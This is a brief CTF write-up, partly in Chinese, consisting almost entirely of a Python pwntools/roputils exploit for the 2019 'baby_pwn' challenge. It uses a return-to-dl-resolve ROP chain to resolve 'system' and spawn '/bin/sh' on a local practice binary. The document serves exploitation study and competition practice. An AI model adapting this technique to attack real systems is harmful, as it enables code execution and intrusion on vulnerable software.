Return-to-dl-resolve是CTF中的高级rop技巧
2019国赛线上 baby_pwn
exp
import sys
import roputils
from pwn import *
context.log_level = 'debug'
#r = process("./pwn")
p = process("./babypwn")
rop = roputils.ROP('./babypwn')
addr_bss = rop.section('.bss')
offset = 0x2c
buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)
p.send(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)
p.send(buf)
p.interactive()